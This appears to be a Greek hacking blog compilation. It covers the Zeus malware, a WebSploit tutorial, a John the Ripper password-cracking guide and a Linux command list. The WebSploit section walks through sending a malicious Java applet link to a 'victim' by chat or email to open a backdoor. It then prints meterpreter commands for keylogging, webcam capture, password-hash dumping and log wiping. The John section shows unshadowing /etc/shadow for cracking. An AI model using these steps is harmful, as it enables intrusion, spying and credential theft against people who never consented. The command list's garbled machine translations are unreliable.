Οι δημιουργοί του ιού έχουν προσθέσει περισσότερες λειτουργίες στη νέα έκδοση, καθώς η παλιά επέτρεπε στους ερευνητές να τον εντοπίσουν. Συγκεκριμένα η νέα έκδοση διαθέτει ψηφιακή υπογραφή για όλα τα αρχεία που μπορεί να μεταφορτώσει ένας χρήστης και ταυτόχρονα διατηρεί τον ιό σε κωδικοποιημένη μορφή και τον αποκωδικοποιεί μόνο όταν χρειάζεται. Έτσι κανένας δεν καταλαβαίνει ότι έχει προσβληθεί από αυτόν και συνεχίζει ανενόχλητα τη δουλειά του. Το πραγματικά εντυπωσιακό στον σχεδιασμό αυτού του ιού είναι η χρήση του. Όποτε ο ιός θέλει να κλέψει δεδομένα αποκωδικοποιείται, δημιουργεί αντίγραφο του αρχείου με τα δεδομένα που θέλει, το στέλνει στον εντολέα και στη συνέχεια σβήνει το αντιγραμμένο αρχείο για να μη γίνει αντιληπτός από τους ειδικούς ασφάλειας κατά τον έλεγχο.
Παρατηρούμε εδώ ότι οι hackers δρουν πάνω κάτω με τον ίδιο τρόπο που κάνουν και οι επιχειρήσεις. Αναζητούν κέρδη και ανανεώνουν τα «προϊόντα» και τις «υπηρεσίες» τους. Ας μην κατηγορούμε όμως μόνο τους hacker, θα έχουν και εκείνοι τον «εντολέα» τους.
Και σαν να μην έφταναν όλα αυτά ο Zeus μολύνει και τα κινητά τηλέφωνα και αξίζει να αναφέρουμε ότι σε έρευνα που πραγματοποιήθηκε τον Αύγουστο το 55% των υπολογιστών δεν μπορούσε να τον εντοπίσει, ακόμη και με τη χρήση ενημερωμένων λογισμικών ασφάλειας.
To malware είναι ο μόνος ιός που έχει απασχολήσει τόσο πολύ τους ειδικούς και θα συνεχίσει να τους απασχολεί για μεγάλο χρονικό διάστημα.

WebSploit Toolkit – Εργαλείο για απομακρυσμένο έλεγχο συστήματος


Το WebSploit είναι ένα ισχυρό εργαλείο ανοικτού πηγαίου κώδικα που χρησιμοποιείται για τη σάρωση και την ανάλυση απομακρυσμένων συστημάτων. Σκοπός του εργαλείου είναι ο εντοπισμός διαφόρων τύπων ευπαθειών.

Βασικά χαρακτηριστικά:


• Autopwn – Χρησιμοποιείται από το Metalsploit για την σάρωση και την εκμετάλλευση των υπηρεσιών του στόχου

• wmap – Έλεγχος του Crawler Target με τη χρήση ενός πρόσθετου wmap του Metalsploit.

• format infector – inject reverse & bind payload στον τύπο αρχείου

• phpmyadmin – αναζήτηση phpmyadmin σελίδων σύνδεσης

• lfi – Ανιχνεύει, παρακάμπτοντας τοπικά αρχεία ευπαθειών και μπορεί να παρακάμψει και κάποια WAF.

• apache users – Αναζήτηση σε κατάλογο ονομάτων χρηστών των διακομιστών (αν χρησιμοποιηθεί από Apache webserver)

• Dir Bruter – brute target directory με wordlist

• admin finder – Αναζητά την διαχειριστική και την σελίδα σύνδεσης του στόχου

• MLITM Attack – Man Left In The Middle, Επιθέσεις XSS Phishing MITM – Επίθεση Man In The Middle

• Java Applet Attack – Επίθεση Java Signed Applet MFOD Attack Vector – Middle Finger Of Doom Attack Vector

• USB Infection Attack – Δημιουργεί εκτελέσιμους ιούς τύπου Backdoor, για να μολύνει τις USB θύρες στα windows

Εγκατάσταση στο BackTrack 5 R3

Πρώτα απ' όλα κατεβάζουμε το WebSploit toolkit από το παρακάτω url:


Τώρα το αποσυμπιέζουμε το μετακινούμε στο φάκελο web.
Μετά από τις ιδιότητες του φακέλου αλλάζουμε την εφαρμογή ανοίγματος του αρχείου και επιλέγουμε να εκτελείτε ως πρόγραμμα.

Τώρα ανοίγουμε ένα τερματικό και γράφουμε: cd  /pentest/web/websploit
Στη συνέχεια γράφουμε: ./websploit

Τώρα επιλέγουμε 2 "Network Attack Vector”


Τώρα επιλέγουμε 3 "Java Applet Attack”

Wsf: java Applet > Enter Interface Name: eth0
Wsf: java Applet > Enter Your IP Address: 192.168.1.2
Wsf: java Applet > Enter Main Applet’s Class Name: java
Wsf: java Applet > Enter Name of Publisher: java



Τώρα βάζουμε την url που θα στείλουμε στο θύμα μας να ανοίξει δηλαδή http://192.168.226.134:8080/index. Η συγκεκριμένη ΙΡ που βάζουμε είναι η διεύθυνση μας και αυτή μπορούμε εύκολα να την βρούμε ανοίγοντας ένα νέο τερματικό και γράφοντας την εντολή ifconfig.


Στέλνουμε το link που προαναφέραμε στο θύμα μας με chat ή με email ή με οποιδήποτε άλλο τρόπο θέλουμε. Όταν το θύμα ανοίξει αυτό το σύνδεσμο τότε θα του εμφανιστεί στην οθόνη ένα μήνυμα για την ψηφιακή υπογραφή της σελίδας. Αν το θύμα επιλέξει εκτέλεση παρ' όλα αυτά τότε θα δούμε στην οθόνη μας να τρέχει το script του explotation tool που σημαίνει ότι θα μας ανοίξει μια πίσω πόρτα στο σύστημά του.

 

 

 

Αυτή τη στιγμή λοιπόν αποκτάμε πρόσβαση στο σύστημα του θύματος. Χρησιμοποιώντας την εντολή "Sessions -l"συνδεόμαστε με το θύμα. Στη συνέχεια γράφουμε: "sessions -i ID".



Τέλος μπορούμε να περιηγηθούμε στο pc του θύματος σαν να βρισκόμαστε μπροστά στο pc του. Με τις παρακάτω εντολές που δίνονται μπορούμε να κάνουμε διάφορα.

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop


Stdapi: Webcam Commands
=======================

    Command       Description
    -------       -----------
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

meterpreter >




ΠΡΟΣΟΧΗ! Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.

John The Ripper - Password Cracker


To πρόγραμμα John The Ripper είναι ο γρηγορότερος password cracker που υπάρχει, διατίθεται για συστήματα Unix, DOS, Windows, BeOs και για OpenVMS. To John The Ripper χρησιμοποιείται απο τους διαχειριστές συστημάτων για να "τεστάρουν" τα password σε θέματα ασφαλείας, αν "σπάει" γρήγορα και σε πόσο χρόνο.
Επίσης, σε περίπτωση που ξεχάσουμε το password ενός συστήματος μπορούμε να το ξαναβρούμε με αυτό το πρόγραμμα. Γενικότερα το χρησιμοποιούμε για να "σπάμε" password.
To πρόγραμμα John The Ripper θα το βρείτε εδώ:


Εγκατάσταση-Χρήση:

Η εγκατάσταση αναφέρεται σε ένα σύστημα GNU/linux i686.

1. Ανοίγουμε μία γραμμή εντολών (Shell) και γράφουμε:
cd /var/tmp

2. Κατεβάζουμε το John The Ripper γράφοντας την παρακάτω εντολή:

wget http://www.openwall.com/john/f/john-1.7.2.tar.gz
3. Αποσυμπιέζουμε το John The Ripper γράφοντας:

tar xzvpf john-1.7.2.tar.gz

4. Μπαίνουμε στην directory των "πηγών" του John The Ripper
cd john-1.7.2/src

5. Γινόμαστε root (διαχειριστές) και γράφουμε για την εγκατάσταση:
su make linux-x86-mmx

6. Mπαίνουμε στην directory

cd ../run/

Αρχικά πρέπει να χρησιμοποιήσουμε την εντολή που ενώνει σε ένα αρχείο όλα τα hash των αρχείων /etc/passwd και /etc/shadow στο αρχειο passwords γράφοντας:

unshadow /etc/passwd /etc/shadow > passwords
Για να αρχίσουμε την διαδικασία εύρεσης των κωδικών με brute force γράφουμε:
john passwords

Αυτή η μέθοδος είναι η πιο "αργή" και "βαριά" για την cpu, υπάρχουν και άλλοι τρόποι που επιταχύνουν τις διαδικασίες εύρεσης των passwords απο το John The Ripper χρησιμοποιώντας λεξικά, καταλόγους passwords, τύπους χαρακτήρων κ.λ.π.
Χρησιμοποιώντας την παρακάτω εντολή μπορείτε να εμφανίσετε τις διάφορες επιλογές του προγράμματος john

Παράδειγμα χρήσης: Δημιουργούμε τον user "admin", με password την λεξη "second"
Θα επιχειρήσουμε με το John The Ripper να βρούμε το password του εν λόγω χρήστη στο σύστημά μας.

1. # adduser admin
2. # passwd admin [second]
3. # unshadow /etc/passwd /etc/shadow > passwords
4. # john -i:alpha passwords

Loaded 4 passwords with 4 different salts........

Έτσι λοιπόν σε ελάχιστο χρόνο βρίσκετε το password "second" του user "admin"
Μπορείτε να συνεχίσετε την ανάλυση ή να την διακόψετε από το πληκτρολόγιο "πατώντας" CTRL+C.

Άν θέλετε να συνεχίσετε από εκεί που σταμάτησε το πρόγραμμα γράφετε:
# john -restore

Με την παρακάτω εντολή, έχετε την δυνατότητα ανά πάση στιγμή να "βλέπετε" τα password σε κάθε στιγμή της διαδικασίας...
# john -show passwords

admin:second:502:502::/home/admin:/bin/bash
1 password cracked, 3 left

Τώρα μπορείτε να "σβήσετε" τον χρήστη του παραδείγματός μας με την εντολή
# userdel admin

Το πρόγραμμα αυτό μπορεί να χρησιμοποιηθεί για κάθε ενέργεια, τόσο από τους διαχειριστές συστημάτων όσο και από Hackers, crackers κ.λ.π.
Συμβουλή: Αν ο υπολογιστής που ''τρέχουμε'' το john έχει δυο πυρήνες, μπορούμε να τρέξουμε 2 φορές το john με τα κατάλληλα rules στο κάθενα ώστε να κερδίσουμε πολύ χρόνο...

ΠΡΟΣΟΧΗ! Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.

Σάββατο 9 Φεβρουαρίου 2013

Βασικές εντολές Linux σε Backtrack 5 R3

Για τους αρχάριους χρήστες των συστημάτων UNIX LINUX σε αυτό το tutorial παρέχεται μια λίστα με τις βασικότερες από τις εντολές τερματικού σε περιβάλλον Backtrack 5 R3. Μπορεί σε μερικούς η χρήση λειτουργικών συστηματων UNIX να φαίνεται λίγο δύσκολη αλλά δεν είναι. Με τη χρήση τέτοιων λειτουργικών συστημάτων και κυρίως των Linux είναι μια πολύ καλή ευκαιρία για πολλούς να μπουν στον κόσμο των Linux και να αποκτείσουν γνώσεις πάνω σε υπολογιστές περισσότερες απ' όσες μπορεί να παρέχονται από άλλα λειτουργικά συστήματα. Να επισημάνουμε ότι η γνώση παρέχεται δωρεάν και ειδικά σε περιβάλλοντα Linux που δε χρειάζεται κανένα κόστος για να εγκαταστήσει κανείς τα Linux, μιας και αποτελεί λειτουργικό σύστημα ανοιχτού κώδικα, δηλαδή παρέχεται δωρεάν από την ημερομηνία δημιουργία τους.

COMMAND LIST

LINUX Commands
1 ac Print statistics about the time they have been connected users.
2 adduser See useradd.
3 alias Create shortcuts to commands, list current aliases.
4 apt-get Tool actualizacón / remote installation packages in debian based systems.
5 arp Lets get / manipulate the list of MAC / IP addresses that the system sees.
6 arping Sends ARP REQUEST to other computers on the network.
7 arptables Firewall functions similar to control iptables but arp protocol traffic.
8 at Work program, commands, scripts for later execution.
9 atq List scheduled jobs pending execution by the at command.
10 awk Analysis and processing patterns in files and listings.
11 basename Delete the path name of a file.
12 bc Calculator and mathematical language, very powerful.
13 biosdecode BIOS information.
14 blkid Displays attributes of block devices (disks, usb, etc..) Such as LABEL and UUID, among others.
15 bzcat Uncompress files using bzip2 compressed or packaged.
16 bzip2 Compressor / decompressor files.
17 bzmore View the archive contents or packaged using bzip2.
18 lime Displays a calendar.
19 cat Displays the contents of files and concatenates files.
20 CD Change directory.
21 cfdisk Disk partitioning tool, mainly used on Debian systems.
22 chage Change the information (expiration, revocation, etc.) of a user's password.
23 chattr Change extended attributes of files and directories
24 chfn Change the information used in finger.
25 chgrp Changes the group of a file (s) or folder (s).
26 chkconfig Controls / query how services are running or not on startup.
27 chmod Change the permissions of a file (s) or folder (s).
28 chown Changes the owner of a file (s) or folder (s).
29 chpasswd Upgrade passwords or passwords in batch mode. Passwords can update user groups.
30 chroot Execute commands in a restricted shell root to a directory and its subdirectories.
31 chsh Change your default shell or login shell.
32 cleanlinks Cleans symlinks unrelated and also removes empty directories.
33 clear Clean the terminal.
34 cmp Compares two files byte by byte.
35 convertquota Converts from old formats quota.group quota.user and new formats and aquota.group aquota.user.
36 cpio Copy, create, and extract compressed files in different formats and between teams or locally.
37 crontab Manage files and cron for root users.
38 curl Allows you to download or transfer url's.
39 cut Removes sections (columns mainly) of each line of a file or files.
40 date Displays / sets the date and time.
41 dc Interactive Calculator.
42 dd Convert and copy files and file systems.
43 ddate Displays the date in calendar format jarring.
44 df Displays space usage of hard drives or partitions.
45 diff Search and show differences between files.
46 dig Props for querying DNS servers.
47 dircolors Color setup for ls.
48 dirs Allows you to display, manipulate the list of directories used in the stack. (See popd and pushd)
49 dmesg Displays messages system startup (boot).
50 dmidecode List of computer hardware BIOS directly. (Also: lshw)
51 dos2unix Converts files from MS-DOS to Unix format / Linux.
52 du Displays space usage of files and directories.
53 dump Allows creation of backups for the file systems ext2 and ext3.
54 ECHO Prints a line of text, variables, or content to a file.
55 edquota Manages disk quota control user and group.
56 egrep It's like the 'grep-E', to use regular expressions.
57 eject Unmount and eject removable media such as CD-ROMs.
58 env Run a program in a modified environment.
59 ethtool Allows you to display or change values ​​of a network card.
60 exit Exits the current shell or terminal.
61 expect Create sequences and dialogues with other interactive sessions programmed commands or scripts.
62 export Exports the value of a variable.
63 exportfs Maintains a list of file systems NFS type which have been exported.
64 expr Mathematical expression evaluator.
65 factor Find the primes of a given number.
66 fc List, edit and reejecuta previously executed commands.
67 fdisk Disk partitioning tool, common to almost all distros.
68 fgrep It's like 'grep-F' to use regular expressions in file searches and listings.
69 file Determines the file type.
70 find File search, multiple search options.
71 findfs Find a filesystem by UUID or LABEL (label).
72 findsmb List information about computers that respond to SMB packets. List a Windows network. (Part Samba)
73 finger Displays information about the system users.
74 Fortune Prints a random adage.
75 fping Lets send ICMP packets (pings) to multiple computers on a network and determine if they are alive or not.
76 free Shows the used and free space of RAM and Swap.
77 fsck Tool to verify / repair file systems.
78 fuser Identify processes using files or connections (sockets).
79 gawk Analysis and processing patterns in files and listings. (Gnu version)
80 gcc C compiler and GNU C + +.
81 gedit GNOME text editor.
82 gpasswd Enables management of the file / etc / group
83 gpg Tool generation encryption and security certificates (opengpg).
84 grep Look for patterns of strings within files.
85 groupadd Create a new group in the system.
86 groupdel Deletes a group in the system.
87 groupmod Modifies a group on the system.
88 groups Prints the groups to which a user belongs.
89 gzip Compresses / expands files.
90 halt Turn off the computer.
91 hdparm Sets and displays features on the hard drives.
92 head Displays the first lines of a file.
93 help Help on bash internal commands.
94 history Displays the user's command history.
95 host Utility consulting DNS server host.
96 hostname Displays the computer name.
97 htpasswd Manage files of user / password for basic authentication of Apache.
98 hwclock Displays / Sets the date / time changes or hardware. (Date / Time System to date)
99 id Displays the UID (User ID) and GID (Group ID) of the user
100 ifconfig Displays / Configures the system's network interfaces.
101 ifstat Small utility that allows to observe statistics of network interfaces in real time.
102 init Initialization control ejecucción level.
103 insmod Modules inserted in the kernel.
104 ipcalc Perform simple calculations on IP addresses.
105 ipcount Identifying ranges of network, IP's calculation.
106 iptab Displays an IP address table prefix according to CIDR
107 iptables Firewall configuration tool for Linux.
108 iptraf Network traffic analyzer in text mode.
109 iwconfig Set up a wireless network card.
110 iwlist Gets details of a wireless card.
111 jobs Displays user jobs in suspension or background.
112 kate KDE Text Editor.
113 kill Terminates processes, more correctly sends signals to processes.
114 killall End processes with the same name or group.
115 last Displays information from past users logged.
116 lastb Displays information from the previous failed attempts to login.
117 less Displays the contents of an archive, searchable and movement back and forth.
118 ln Create links (shortcuts) soft and hard files and directories.
119 locale Specific information about the local environment variables.
120 locate Indexes and searches files. Slocate safer to use.
121 losetup Defines and controls devices such as 'loop'.
122 lpq Sample documents for printing in the print queue.
123 lpr Add a document to the print queue.
124 ls List files and directories.
125 lshw List of computer hardware BIOS directly. (Also: dmidecode)
126 lsmod Displays the status of the modules in the kernel.
127 lsof Displays open files in ejecucción program, or a user, process, etc.
128 lspci List PCI devices in the system.
129 lsusb List system usb devices.
130 mail Send and receive email.
131 man Command displays the manual indicated.
132 mc Handler archvivos with mouse support in text mode, not every distro I have.
133 mcedit Mc text editor.
134 md5sum Check (and creates) files with md5 signature certification.
135 mkdir Create directories.
136 mkfs Build a Linux file system.
137 mkpasswd Password generator. (Software Package 'expect').
138 modinfo Displays information about kernel modules.
139 modprobe Tool to add / remove kernel modules.
140 more Pager similar to but less funcioanal less as it comes forward and retocede.
141 mount Monta storage partitions enabled devices listed.
142 mtools Set of utilities to access DOS disks from Linux.
143 mv Moves files and directories.
144 netstat Network Utility showing connections, routing tables, interface statistics, etc..
145 nice Run a program with a priority other than normal ejecucción.
146 nohup Runs a program immune to hangups and without access to a terminal.
147 openssl Control, management, security certificate generation.
148 partprobe Tells the operating system to the changes mentioned in / etc / fstab
149 passwd Changes the specified user's password.
150 ping Send an ECHO_REQUEST (echo request) to a computer on the network.
151 pkill Send signals to processes based on their attributes.
152 popd Removes entries (directories used) from the list of directories used in the stack. (See dirs and pushd)
153 pr Format or convert text files for printing.
154 ps Displays system processes or user or both.
155 pstree Displays processes as a tree.
156 pushd Adds entries (directories used) in the directory list (stack or stack). (See dirs and popd)
157 pwck Check the integrity of the file / etc / passwd
158 pwconv Add shadow protection or sets the file / etc / passwd.
159 quota You can see the use of user fees.
160 quotacheck Create, verify, manage disk quota systems
161 quotaoff Deactivates disk quotas.
162 quotaon Active control disk quotas for users and groups.
163 rdesktop Open graphics terminals has? Ia Windows computers.
164 reboot Restart the computer.
165 renice Changes the priority of a process or program ejecucción.
166 repquota Report use of disk quotas.
167 resolveip Solve the ip or host domain indicated.
168 rev Reverses the lines of a file.
169 rm Deletes or removes files.
170 route Displays / changes the IP routing table.
171 rpm Program installation / update / removing packages, redhat based distros.
172 runlevel Displays the current run level and previous system.
173 scp Copy files between computers, part of the package openssh (encrypted communication protocol).
174 screen Virtual terminal manager.
175 thirst Editor online file filters and transforms.
176 service Run / stop services manually.
177 set Displays or sets the environment variables for the user actuual.
178 sha1sum Check (and creates) files sha1 signature certification.
179 shopt Enables or disables variables shell optional behavior.
180 shred Delete files securely and unrecoverable.
181 shutdown Turn off or restart your computer.
182 sort Sort lines of files and playlists
183 ss Props like netstat but basic socket set fast listings.
184 ssh Secure remote login program, openssh package program (encrypted communication protocol).
185 startx Log X.
186 his Change the current user indicated.
187 sudo Allows user runs indicate that root commands.
188 sync Forza memory blocks to disk, update the super block.
189 tac As cat shows and / or concatenated files in reverse.
190 tail Displays the end of a file.
191 tailf Synonym tail-f command, lets you see in real time the end of a file, ie as you type, useful for monitoring logs.
192 tar Tool packer / compressor files.
193 testparm Check samba smb.conf file for errors or corrections.
194 time Returns the time that you ran the command or program indicated.
195 top Displays system processes interactively and continuously.
196 touch Create empty files, change access dates and / or modification of files.
197 tput Change values ​​or terminal capabilities, based on terminfo.
198 traceroute Prints the route network packets to the destination.
199 tty Print the name of the terminal on which this.
200 tzselect Set an area or zone.
201 umask Set permissions mask when creating directories and files.
202 umount Unmount file systems.
203 unalias Removes alias command, created with the alias command.
204 uname Displays system information.
205 uniq Omits or reports on repeated lines in a file or listing.
206 units Converter units from one system to another, supports dozens of metrics.
207 up2date Upgrade Tool / remote installation package (used in redhat, centos).
208 uptime Shows how long has turned on the computer.
209 urpme Urpmi package program to uninstall or remove packages.
210 urpmi Upgrade Tool / remote installation packages, rpm based distros (used in mandriva).
211 useradd Add users.
212 userdel Removes users.
213 usermod Modifies user information.
214 users Displays the user names of all users currently connected to the system.
215 vi Display visual editor, text editor, you find in all Linux distros.
216 vim Same as vi but improved.
217 visudo Editor for the configuration file / etc / sudoers sudo.
218 vmstat Provides information on virtual memory.
219 w Shows who is connected to the system and you are doing.
220 wall Send a message to all terminals.
221 warnquota Configure / etc / warnquota.conf to complement messages for disk quotas.
222 wc Account words, lines, characters from a file or listing.
223 wget File Downloader from the Internet and not interactive.
224 whatis Short description, in a line of a command or program.
225 whereis Locate the binary, source and / or libraries, and documentation of a comado.
226 Which Shows the full path of a command.
227 who Shows who is connected to the system.
228 whoami Displays the current user.
229 xhost Access control for X sessions
230 xkill Mata or ends to an X client, ie a graphics program.
231 yes Prints a string repeatedly until terminated or killed the command.
232 yum Upgrade Tool / remote installation packages, rpm based distros (used in fedora, redhat and derivatives).
233 zcat Unzip / sample files compressed with gunzip (identical to gunzip-c)
234 zenity Displays various types of dialogues in X from a terminal.
235 zless Displays the contents of compressed files.
236 zmore Displays the contents of compressed files.